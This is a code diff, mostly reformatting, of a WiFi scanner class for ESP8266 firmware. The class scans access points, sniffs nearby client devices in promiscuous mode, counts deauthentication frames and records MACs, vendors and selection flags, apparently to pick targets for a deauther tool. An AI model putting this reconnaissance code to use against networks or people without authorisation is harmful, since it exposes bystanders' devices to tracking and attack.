Scan::snifferOutputTime = continueStartTime;
|
|
||||||
Scan::continueTime = continueTime;
|
|
||||||
Scan::sniffTime = time;
|
|
||||||
Scan::channelHop = channelHop;
|
|
||||||
Scan::scanMode = mode;
|
|
||||||
Scan::scan_continue_mode = nextmode;
|
|
||||||
|
|
||||||
if(sniffTime > 0 && sniffTime < 1000) sniffTime = 1000;
|
setWifiChannel(channel);
|
||||||
|
Scan::continueStartTime = currentTime;
|
||||||
|
Scan::snifferPacketTime = continueStartTime;
|
||||||
|
Scan::snifferOutputTime = continueStartTime;
|
||||||
|
Scan::continueTime = continueTime;
|
||||||
|
Scan::sniffTime = time;
|
||||||
|
Scan::channelHop = channelHop;
|
||||||
|
Scan::scanMode = mode;
|
||||||
|
Scan::scan_continue_mode = nextmode;
|
||||||
|
|
||||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, time, scan_continue_mode, continueTime, channelHop, channel);
|
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
|
||||||
|
|
||||||
/* AP Scan */
|
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
|
||||||
if (mode == SCAN_MODE_APS || mode == SCAN_MODE_ALL) {
|
// time, scan_continue_mode, continueTime, channelHop, channel);
|
||||||
// remove old results
|
|
||||||
accesspoints.removeAll();
|
|
||||||
stations.removeAll();
|
|
||||||
// start AP scan
|
|
||||||
prntln(SC_START_AP);
|
|
||||||
WiFi.scanNetworks(true, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Station Scan */
|
/* AP Scan */
|
||||||
else if (mode == SCAN_MODE_STATIONS) {
|
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
|
||||||
// start station scan
|
// remove old results
|
||||||
if (accesspoints.count() < 1) {
|
accesspoints.removeAll();
|
||||||
start(SCAN_MODE_ALL);
|
stations.removeAll();
|
||||||
//Serial.println(str(SC_ERROR_NO_AP));
|
// start AP scan
|
||||||
return;
|
prntln(SC_START_AP);
|
||||||
|
WiFi.scanNetworks(true, true);
|
||||||
}
|
}
|
||||||
snifferStartTime = currentTime;
|
|
||||||
prnt(SC_START_CLIENT);
|
/* Station Scan */
|
||||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
else if (mode == SCAN_MODE_STATIONS) {
|
||||||
else prnt(SC_INFINITELY);
|
// start station scan
|
||||||
if(!channelHop){
|
if (accesspoints.count() < 1) {
|
||||||
prnt(SC_ON_CHANNEL);
|
start(SCAN_MODE_ALL);
|
||||||
prnt(wifi_channel);
|
// Serial.println(str(SC_ERROR_NO_AP));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
snifferStartTime = currentTime;
|
||||||
|
prnt(SC_START_CLIENT);
|
||||||
|
|
||||||
|
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||||
|
else prnt(SC_INFINITELY);
|
||||||
|
|
||||||
|
if (!channelHop) {
|
||||||
|
prnt(SC_ON_CHANNEL);
|
||||||
|
prnt(wifi_channel);
|
||||||
|
}
|
||||||
|
prntln();
|
||||||
|
|
||||||
|
// enable sniffer
|
||||||
|
stopAP();
|
||||||
|
wifi_promiscuous_enable(true);
|
||||||
}
|
}
|
||||||
prntln();
|
|
||||||
|
|
||||||
// enable sniffer
|
|
||||||
stopAP();
|
|
||||||
wifi_promiscuous_enable(true);
|
|
||||||
}
|
|
||||||
|
|
||||||
else if (mode == SCAN_MODE_SNIFFER) {
|
else if (mode == SCAN_MODE_SNIFFER) {
|
||||||
deauths = tmpDeauths;
|
deauths = tmpDeauths;
|
||||||
tmpDeauths = 0;
|
tmpDeauths = 0;
|
||||||
snifferStartTime = currentTime;
|
snifferStartTime = currentTime;
|
||||||
prnt(SS_START_SNIFFER);
|
prnt(SS_START_SNIFFER);
|
||||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
|
||||||
else prnt(SC_INFINITELY);
|
|
||||||
prnt(SC_ON_CHANNEL);
|
|
||||||
prntln(channelHop ? str(SC_ONE_TO) +(String)settings.getMaxCh() : (String)wifi_channel);
|
|
||||||
|
|
||||||
// enable sniffer
|
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||||
stopAP();
|
else prnt(SC_INFINITELY);
|
||||||
wifi_promiscuous_enable(true);
|
prnt(SC_ON_CHANNEL);
|
||||||
}
|
prntln(channelHop ? str(SC_ONE_TO) + (String)settings.getMaxCh() : (String)wifi_channel);
|
||||||
|
|
||||||
/* Stop scan */
|
// enable sniffer
|
||||||
else if (mode == SCAN_MODE_OFF) {
|
stopAP();
|
||||||
wifi_promiscuous_enable(false);
|
wifi_promiscuous_enable(true);
|
||||||
if(settings.getWebInterface()) resumeAP();
|
|
||||||
prntln(SC_STOPPED);
|
|
||||||
save(true);
|
|
||||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
|
||||||
prnt(SC_RESTART);
|
|
||||||
prnt(int(continueTime / 1000));
|
|
||||||
prntln(SC_CONTINUE);
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
/* ERROR */
|
/* Stop scan */
|
||||||
else {
|
else if (mode == SCAN_MODE_OFF) {
|
||||||
prnt(SC_ERROR_MODE);
|
wifi_promiscuous_enable(false);
|
||||||
prntln(mode);
|
|
||||||
return;
|
if (settings.getWebInterface()) resumeAP();
|
||||||
}
|
prntln(SC_STOPPED);
|
||||||
|
save(true);
|
||||||
|
|
||||||
|
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||||
|
prnt(SC_RESTART);
|
||||||
|
prnt(int(continueTime / 1000));
|
||||||
|
prntln(SC_CONTINUE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ERROR */
|
||||||
|
else {
|
||||||
|
prnt(SC_ERROR_MODE);
|
||||||
|
prntln(mode);
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::update() {
|
void Scan::update() {
|
||||||
if (scanMode == SCAN_MODE_OFF) {
|
if (scanMode == SCAN_MODE_OFF) {
|
||||||
// restart scan if it is continuous
|
// restart scan if it is continuous
|
||||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||||
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
|
||||||
|
|
||||||
// sniffer
|
|
||||||
if(isSniffing()){
|
|
||||||
// update packet list every 1s
|
|
||||||
if(currentTime - snifferPacketTime > 1000){
|
|
||||||
snifferPacketTime = currentTime;
|
|
||||||
list->add(packets);
|
|
||||||
if(list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
|
||||||
deauths = tmpDeauths;
|
|
||||||
tmpDeauths = 0;
|
|
||||||
packets = 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// print status every 3s
|
// sniffer
|
||||||
if (currentTime - snifferOutputTime > 3000) {
|
if (isSniffing()) {
|
||||||
char s[100];
|
// update packet list every 1s
|
||||||
if(sniffTime > 0){
|
if (currentTime - snifferPacketTime > 1000) {
|
||||||
sprintf(s,str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
snifferPacketTime = currentTime;
|
||||||
} else{
|
list->add(packets);
|
||||||
sprintf(s,str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
|
||||||
}
|
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||||
prnt(String(s));
|
deauths = tmpDeauths;
|
||||||
snifferOutputTime = currentTime;
|
tmpDeauths = 0;
|
||||||
|
packets = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// print status every 3s
|
||||||
|
if (currentTime - snifferOutputTime > 3000) {
|
||||||
|
char s[100];
|
||||||
|
|
||||||
|
if (sniffTime > 0) {
|
||||||
|
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||||
|
} else {
|
||||||
|
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
||||||
|
}
|
||||||
|
prnt(String(s));
|
||||||
|
snifferOutputTime = currentTime;
|
||||||
|
}
|
||||||
|
|
||||||
|
// channel hopping
|
||||||
|
if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) {
|
||||||
|
snifferChannelTime = currentTime;
|
||||||
|
|
||||||
|
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||||
|
else setChannel(wifi_channel + 1); // go to next channel
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// channel hopping
|
// APs
|
||||||
if(channelHop && currentTime - snifferChannelTime > settings.getChTime()) {
|
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
|
||||||
snifferChannelTime = currentTime;
|
int16_t results = WiFi.scanComplete();
|
||||||
if(scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
|
||||||
else setChannel(wifi_channel + 1); // go to next channel
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// APs
|
|
||||||
if (scanMode == SCAN_MODE_APS || scanMode == SCAN_MODE_ALL) {
|
|
||||||
int16_t results = WiFi.scanComplete();
|
|
||||||
if (results >= 0) {
|
|
||||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
|
||||||
if(channelHop || WiFi.channel(i) == wifi_channel) accesspoints.add(i, false);
|
|
||||||
}
|
|
||||||
accesspoints.sort();
|
|
||||||
accesspoints.printAll();
|
|
||||||
if (scanMode == SCAN_MODE_ALL){
|
|
||||||
delay(30);
|
|
||||||
start(SCAN_MODE_STATIONS);
|
|
||||||
}
|
|
||||||
else start(SCAN_MODE_OFF);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stations
|
if (results >= 0) {
|
||||||
else if (sniffTime > 0 && currentTime > snifferStartTime + sniffTime) {
|
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||||
wifi_promiscuous_enable(false);
|
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
|
||||||
if(scanMode == SCAN_MODE_STATIONS){
|
}
|
||||||
stations.sort();
|
accesspoints.sort();
|
||||||
stations.printAll();
|
accesspoints.printAll();
|
||||||
|
|
||||||
|
if (scanMode == SCAN_MODE_ALL) {
|
||||||
|
delay(30);
|
||||||
|
start(SCAN_MODE_STATIONS);
|
||||||
|
}
|
||||||
|
else start(SCAN_MODE_OFF);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stations
|
||||||
|
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
|
||||||
|
wifi_promiscuous_enable(false);
|
||||||
|
|
||||||
|
if (scanMode == SCAN_MODE_STATIONS) {
|
||||||
|
stations.sort();
|
||||||
|
stations.printAll();
|
||||||
|
}
|
||||||
|
start(SCAN_MODE_OFF);
|
||||||
}
|
}
|
||||||
start(SCAN_MODE_OFF);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::setup(){
|
void Scan::setup() {
|
||||||
save(true);
|
save(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::stop() {
|
void Scan::stop() {
|
||||||
scan_continue_mode = SCAN_MODE_OFF;
|
scan_continue_mode = SCAN_MODE_OFF;
|
||||||
start(SCAN_MODE_OFF);
|
start(SCAN_MODE_OFF);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::setChannel(uint8_t ch) {
|
void Scan::setChannel(uint8_t ch) {
|
||||||
if (ch > settings.getMaxCh()) ch = 1;
|
if (ch > settings.getMaxCh()) ch = 1;
|
||||||
else if (ch < 1) ch = settings.getMaxCh();
|
else if (ch < 1) ch = settings.getMaxCh();
|
||||||
|
|
||||||
wifi_promiscuous_enable(0);
|
wifi_promiscuous_enable(0);
|
||||||
setWifiChannel(ch);
|
setWifiChannel(ch);
|
||||||
wifi_promiscuous_enable(1);
|
wifi_promiscuous_enable(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::nextChannel() {
|
void Scan::nextChannel() {
|
||||||
if (accesspoints.count() > 1) {
|
if (accesspoints.count() > 1) {
|
||||||
uint8_t ch = wifi_channel;
|
uint8_t ch = wifi_channel;
|
||||||
do {
|
|
||||||
ch++;
|
do {
|
||||||
if (ch > settings.getMaxCh()) ch = 1;
|
ch++;
|
||||||
} while (!apWithChannel(ch));
|
|
||||||
setChannel(ch);
|
if (ch > settings.getMaxCh()) ch = 1;
|
||||||
}
|
} while (!apWithChannel(ch));
|
||||||
|
setChannel(ch);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Scan::apWithChannel(uint8_t ch) {
|
bool Scan::apWithChannel(uint8_t ch) {
|
||||||
for (int i = 0; i < accesspoints.count(); i++)
|
for (int i = 0; i < accesspoints.count(); i++)
|
||||||
if (accesspoints.getCh(i) == ch) return true;
|
if (accesspoints.getCh(i) == ch) return true;
|
||||||
return false;
|
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::save(bool force, String filePath){
|
void Scan::save(bool force, String filePath) {
|
||||||
String tmp = FILE_PATH;
|
String tmp = FILE_PATH;
|
||||||
FILE_PATH = filePath;
|
|
||||||
save(true);
|
FILE_PATH = filePath;
|
||||||
FILE_PATH = tmp;
|
save(true);
|
||||||
|
FILE_PATH = tmp;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::save(bool force) {
|
void Scan::save(bool force) {
|
||||||
if(!(accesspoints.changed || stations.changed) && !force) return;
|
if (!(accesspoints.changed || stations.changed) && !force) return;
|
||||||
|
|
||||||
// Accesspoints
|
|
||||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
|
||||||
|
|
||||||
if(!writeFile(FILE_PATH, buf)) { // overwrite old file
|
|
||||||
prnt(F_ERROR_SAVING);
|
|
||||||
prntln(FILE_PATH);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
buf = String(); // clear buffer
|
|
||||||
uint32_t apCount = accesspoints.count();
|
|
||||||
|
|
||||||
for (uint32_t i = 0; i < apCount; i++) {
|
|
||||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + String(COMMA); // ["ssid",
|
|
||||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
|
||||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
|
||||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
|
||||||
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
|
||||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
|
||||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
|
||||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
|
||||||
if(i < apCount - 1) buf += String(COMMA); // ,
|
|
||||||
|
|
||||||
if(buf.length() >= 1024){
|
// Accesspoints
|
||||||
if(!appendFile(FILE_PATH, buf)) {
|
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
|
||||||
|
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||||
|
|
||||||
|
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||||
prnt(F_ERROR_SAVING);
|
prnt(F_ERROR_SAVING);
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
return;
|
return;
|
||||||
}
|
|
||||||
|
|
||||||
buf = String(); // clear buffer
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
// Stations
|
buf = String(); // clear buffer
|
||||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
uint32_t apCount = accesspoints.count();
|
||||||
uint32_t stationCount = stations.count();
|
|
||||||
|
|
||||||
for (uint32_t i = 0; i < stationCount; i++) {
|
|
||||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
|
||||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
|
||||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
|
||||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
|
||||||
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
|
||||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
|
||||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
|
||||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
|
||||||
if(i < stationCount - 1) buf += String(COMMA); // ,
|
|
||||||
|
|
||||||
if(buf.length() >= 1024){
|
for (uint32_t i = 0; i < apCount; i++) {
|
||||||
if(!appendFile(FILE_PATH, buf)) {
|
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
|
||||||
|
String(COMMA); // ["ssid",
|
||||||
|
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||||
|
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||||
|
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||||
|
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
||||||
|
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||||
|
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||||
|
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||||
|
|
||||||
|
if (i < apCount - 1) buf += String(COMMA); // ,
|
||||||
|
|
||||||
|
if (buf.length() >= 1024) {
|
||||||
|
if (!appendFile(FILE_PATH, buf)) {
|
||||||
|
prnt(F_ERROR_SAVING);
|
||||||
|
prntln(FILE_PATH);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
buf = String(); // clear buffer
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stations
|
||||||
|
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
|
||||||
|
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||||
|
uint32_t stationCount = stations.count();
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < stationCount; i++) {
|
||||||
|
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
|
||||||
|
String(COMMA); // ["00:11:22:00:11:22",
|
||||||
|
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||||
|
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||||
|
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||||
|
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
||||||
|
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||||
|
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||||
|
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||||
|
|
||||||
|
if (i < stationCount - 1) buf += String(COMMA); // ,
|
||||||
|
|
||||||
|
if (buf.length() >= 1024) {
|
||||||
|
if (!appendFile(FILE_PATH, buf)) {
|
||||||
|
prnt(F_ERROR_SAVING);
|
||||||
|
prntln(FILE_PATH);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
buf = String(); // clear buffer
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||||
|
|
||||||
|
if (!appendFile(FILE_PATH, buf)) {
|
||||||
prnt(F_ERROR_SAVING);
|
prnt(F_ERROR_SAVING);
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
return;
|
return;
|
||||||
}
|
|
||||||
|
|
||||||
buf = String(); // clear buffer
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
accesspoints.changed = false;
|
||||||
|
stations.changed = false;
|
||||||
if(!appendFile(FILE_PATH, buf)) {
|
prnt(SC_SAVED_IN);
|
||||||
prnt(F_ERROR_SAVING);
|
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
accesspoints.changed = false;
|
|
||||||
stations.changed = false;
|
|
||||||
prnt(SC_SAVED_IN);
|
|
||||||
prntln(FILE_PATH);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Scan::countSelected() {
|
uint32_t Scan::countSelected() {
|
||||||
return (accesspoints.selected() + stations.selected() + names.selected());
|
return accesspoints.selected() + stations.selected() + names.selected();
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Scan::countAll() {
|
uint32_t Scan::countAll() {
|
||||||
return (accesspoints.count() + stations.count() + names.count());
|
return accesspoints.count() + stations.count() + names.count();
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Scan::isScanning() {
|
bool Scan::isScanning() {
|
||||||
return scanMode != SCAN_MODE_OFF;
|
return scanMode != SCAN_MODE_OFF;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Scan::isSniffing() {
|
bool Scan::isSniffing() {
|
||||||
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Scan::getPercentage(){
|
uint8_t Scan::getPercentage() {
|
||||||
if(!isSniffing()) return 0;
|
if (!isSniffing()) return 0;
|
||||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
|
||||||
|
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::selectAll() {
|
void Scan::selectAll() {
|
||||||
accesspoints.selectAll();
|
accesspoints.selectAll();
|
||||||
stations.selectAll();
|
stations.selectAll();
|
||||||
names.selectAll();
|
names.selectAll();
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::deselectAll() {
|
void Scan::deselectAll() {
|
||||||
accesspoints.deselectAll();
|
accesspoints.deselectAll();
|
||||||
stations.deselectAll();
|
stations.deselectAll();
|
||||||
names.deselectAll();
|
names.deselectAll();
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::printAll() {
|
void Scan::printAll() {
|
||||||
accesspoints.printAll();
|
accesspoints.printAll();
|
||||||
stations.printAll();
|
stations.printAll();
|
||||||
names.printAll();
|
names.printAll();
|
||||||
ssids.printAll();
|
ssids.printAll();
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::printSelected() {
|
void Scan::printSelected() {
|
||||||
accesspoints.printSelected();
|
accesspoints.printSelected();
|
||||||
stations.printSelected();
|
stations.printSelected();
|
||||||
names.printSelected();
|
names.printSelected();
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Scan::getPackets(int i){
|
uint32_t Scan::getPackets(int i) {
|
||||||
if(list->size() < SCAN_PACKET_LIST_SIZE){
|
if (list->size() < SCAN_PACKET_LIST_SIZE) {
|
||||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||||
if(i >= translatedNum) return list->get(i-translatedNum);
|
|
||||||
return 0;
|
if (i >= translatedNum) return list->get(i - translatedNum);
|
||||||
} else {
|
|
||||||
return list->get(i);
|
return 0;
|
||||||
}
|
} else {
|
||||||
|
return list->get(i);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
double Scan::getScaleFactor(uint8_t height){
|
double Scan::getScaleFactor(uint8_t height) {
|
||||||
return (double)height/(double)getMaxPacket();
|
return (double)height / (double)getMaxPacket();
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Scan::getMaxPacket(){
|
uint32_t Scan::getMaxPacket() {
|
||||||
uint16_t max = 0;
|
uint16_t max = 0;
|
||||||
for(uint8_t i=0;i<list->size();i++){
|
|
||||||
if(list->get(i) > max) max = list->get(i);
|
for (uint8_t i = 0; i < list->size(); i++) {
|
||||||
}
|
if (list->get(i) > max) max = list->get(i);
|
||||||
return max;
|
}
|
||||||
|
return max;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Scan::getPacketRate(){
|
uint32_t Scan::getPacketRate() {
|
||||||
return list->get(list->size()-1);
|
return list->get(list->size() - 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -20,80 +20,79 @@
|
|||||||
#define SCAN_PACKET_LIST_SIZE 64
|
#define SCAN_PACKET_LIST_SIZE 64
|
||||||
|
|
||||||
extern Accesspoints accesspoints;
|
extern Accesspoints accesspoints;
|
||||||
extern Stations stations;
|
extern Stations stations;
|
||||||
extern Names names;
|
extern Names names;
|
||||||
extern SSIDs ssids;
|
extern SSIDs ssids;
|
||||||
extern Settings settings;
|
extern Settings settings;
|
||||||
extern uint8_t wifiMode;
|
extern uint8_t wifiMode;
|
||||||
|
|
||||||
extern void setWifiChannel(uint8_t ch);
|
extern void setWifiChannel(uint8_t ch);
|
||||||
extern bool appendFile(String path, String &buf);
|
extern bool appendFile(String path, String& buf);
|
||||||
extern bool writeFile(String path, String &buf);
|
extern bool writeFile(String path, String& buf);
|
||||||
extern void readFileToSerial(const String path);
|
extern void readFileToSerial(const String path);
|
||||||
extern void resumeAP();
|
extern void resumeAP();
|
||||||
extern void stopAP();
|
extern void stopAP();
|
||||||
extern String escape(String str);
|
extern String escape(String str);
|
||||||
|
|
||||||
class Scan {
|
class Scan {
|
||||||
public:
|
public:
|
||||||
Scan();
|
Scan();
|
||||||
|
|
||||||
void sniffer(uint8_t* buf, uint16_t len);
|
void sniffer(uint8_t* buf, uint16_t len);
|
||||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||||
void start(uint8_t mode);
|
uint8_t channel);
|
||||||
|
void start(uint8_t mode);
|
||||||
|
|
||||||
void setup();
|
void setup();
|
||||||
void update();
|
void update();
|
||||||
void stop();
|
void stop();
|
||||||
void save(bool force);
|
void save(bool force);
|
||||||
void save(bool force, String filePath);
|
void save(bool force, String filePath);
|
||||||
|
|
||||||
void selectAll();
|
|
||||||
void deselectAll();
|
|
||||||
void printAll();
|
|
||||||
void printSelected();
|
|
||||||
|
|
||||||
uint8_t getPercentage();
|
void selectAll();
|
||||||
uint32_t getPackets(int i);
|
void deselectAll();
|
||||||
uint32_t countAll();
|
void printAll();
|
||||||
uint32_t countSelected();
|
void printSelected();
|
||||||
bool isScanning();
|
|
||||||
bool isSniffing();
|
|
||||||
|
|
||||||
void nextChannel();
|
uint8_t getPercentage();
|
||||||
void setChannel(uint8_t newChannel);
|
uint32_t getPackets(int i);
|
||||||
|
uint32_t countAll();
|
||||||
double getScaleFactor(uint8_t height);
|
uint32_t countSelected();
|
||||||
uint32_t getMaxPacket();
|
bool isScanning();
|
||||||
uint32_t getPacketRate();
|
bool isSniffing();
|
||||||
|
|
||||||
uint16_t deauths = 0;
|
|
||||||
uint16_t packets = 0;
|
|
||||||
private:
|
|
||||||
SimpleList<uint16_t>* list; // packet list
|
|
||||||
|
|
||||||
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
|
||||||
uint32_t snifferStartTime = 0; // when the scan started
|
|
||||||
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
|
||||||
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
|
||||||
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
|
||||||
|
|
||||||
uint8_t scanMode = 0;
|
void nextChannel();
|
||||||
|
void setChannel(uint8_t newChannel);
|
||||||
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
|
||||||
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
|
